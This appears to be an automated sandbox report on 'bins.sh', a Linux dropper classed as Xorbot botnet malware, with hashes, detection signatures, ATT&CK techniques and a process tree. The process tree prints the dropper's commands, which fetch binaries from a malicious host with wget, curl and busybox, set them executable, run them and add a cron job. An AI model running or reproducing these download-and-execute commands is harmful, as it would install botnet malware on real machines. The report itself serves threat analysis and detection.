Analysis
-
max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
18-02-2025 06:38
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
3b8f13c77b91143ded11816a83e96419
-
SHA1
00dbeb3fd6f2a3dfbd0a62ca7a5ce0139a084080
-
SHA256
b47ff68519a485ddb5bf1290c6da508b0ff3cf0da72c86f8be5f828c04f96d2a
-
SHA512
a9303523d84c55af538abc57b0b413bae8be0a58f9f2cf854df9530f8384bf6c1eb54fe98aab0834b0042e680c682b030c14fd52213caf3c27945664578a0676
-
SSDEEP
192:qzm/wl616t6wnbJ86yT0sza616t6wnH26yT0sz3:qzm/wl616t6wnt86yT0sza616t6wnW6w
Malware Config
Signatures
-
resource yara_rule behavioral2/files/fstream-1.dat family_xorbot behavioral2/files/fstream-3.dat family_xorbot behavioral2/files/fstream-5.dat family_xorbot behavioral2/files/fstream-9.dat family_xorbot -
Xorbot family
-
Contacts a large (1579) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 774 chmod 782 chmod 718 chmod 756 chmod 766 chmod -
Executes dropped EXE 5 IoCs
ioc pid Process /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj 719 bins.sh /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT 757 bins.sh /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE 767 bins.sh /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE 775 bins.sh /tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt 783 bins.sh -
Renames itself 1 IoCs
pid Process 784 bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.rcQV1Y crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/636/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/898/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/5/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/284/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/847/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/981/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/1019/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/29/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/793/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/816/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/834/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/992/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/269/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/956/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/961/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/106/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/25/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/309/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/639/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/817/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/836/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/883/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/949/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/2/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/977/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/845/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/876/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/877/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/923/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/947/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/21/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/270/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/589/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/870/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/896/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/962/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/990/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/filesystems crontab File opened for reading /proc/975/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/1022/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/864/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/16/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/638/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/789/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/795/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/799/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/809/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/860/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/self/auxv curl File opened for reading /proc/944/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/993/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/997/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/1016/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/1029/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/939/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/1018/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/878/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/808/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/851/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/854/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/953/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/968/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/646/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt File opened for reading /proc/594/cmdline bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt -
System Network Configuration Discovery 1 TTPs 16 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 642 wget 671 curl 779 curl 722 wget 753 curl 760 wget 765 busybox 778 wget 793 wget 682 busybox 755 busybox 761 curl 770 wget 771 curl 773 busybox 781 busybox -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE curl File opened for modification /tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt wget File opened for modification /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj curl File opened for modification /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT curl File opened for modification /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE wget File opened for modification /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE curl File opened for modification /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE busybox File opened for modification /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE wget File opened for modification /tmp/cR8g7mQo7cqv11L61BOzyoE1qJxDoLA0H4 wget File opened for modification /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj wget File opened for modification /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT wget File opened for modification /tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:639 -
/bin/rm/bin/rm bins.sh2⤵PID:641
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:642
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:671
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj2⤵
- System Network Configuration Discovery
PID:682
-
-
/bin/chmodchmod 777 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj2⤵
- File and Directory Permissions Modification
PID:718
-
-
/tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj./0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj2⤵PID:719
-
-
/bin/rmrm 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj2⤵PID:721
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:722
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:753
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT2⤵
- System Network Configuration Discovery
PID:755
-
-
/bin/chmodchmod 777 Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT2⤵
- File and Directory Permissions Modification
PID:756
-
-
/tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT./Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT2⤵PID:757
-
-
/bin/rmrm Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT2⤵PID:759
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:760
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:761
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:765
-
-
/bin/chmodchmod 777 B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE2⤵
- File and Directory Permissions Modification
PID:766
-
-
/tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE./B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE2⤵PID:767
-
-
/bin/rmrm B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE2⤵PID:769
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:770
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:771
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE2⤵
- System Network Configuration Discovery
PID:773
-
-
/bin/chmodchmod 777 sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE2⤵
- File and Directory Permissions Modification
PID:774
-
-
/tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE./sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE2⤵PID:775
-
-
/bin/rmrm sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE2⤵PID:777
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:778
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:779
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt2⤵
- System Network Configuration Discovery
PID:781
-
-
/bin/chmodchmod 777 bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt2⤵
- File and Directory Permissions Modification
PID:782
-
-
/tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt./bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt2⤵
- Renames itself
- Reads runtime system information
PID:783 -
/bin/shsh -c "crontab -l"3⤵PID:785
-
/usr/bin/crontabcrontab -l4⤵PID:786
-
-
-
/bin/shsh -c "crontab -"3⤵PID:787
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:788
-
-
-
-
/bin/rmrm bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt2⤵PID:790
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/cR8g7mQo7cqv11L61BOzyoE1qJxDoLA0H42⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:793
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
91KB
MD5dc9b1c055388f5520170f883e771defa
SHA186793154bd4076992225054b62e9eeedbec3164c
SHA256b871a950cb0b7302394969438bc6e1303394a33bdb980134a8a27119c076e21b
SHA512208bef8f82b33e7234297ce41dc30077481b97f62f6a30ff21c07d40282b736482c6f18f3f44cde071d59fcb0ab32eeb06a9de8c1fef5636e85b36cfae0c32fd
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
210B
MD5905c4be5bea734b8e3aba8e1cfc507a3
SHA13dff5262d838ff693628c3d8ed7332b02a4dfa61
SHA256579c802ec72fa5892aeb8e6aad5fac244c39ece427bae85e06fab38692b4f3b6
SHA512c0c14a5301c7216abddd74ce79e7061d2422b8066b940ef5d55e3d77ed04e675e589751e7309ed068c3858e65752900e3abcc98f2852bd6868656b29ed31594d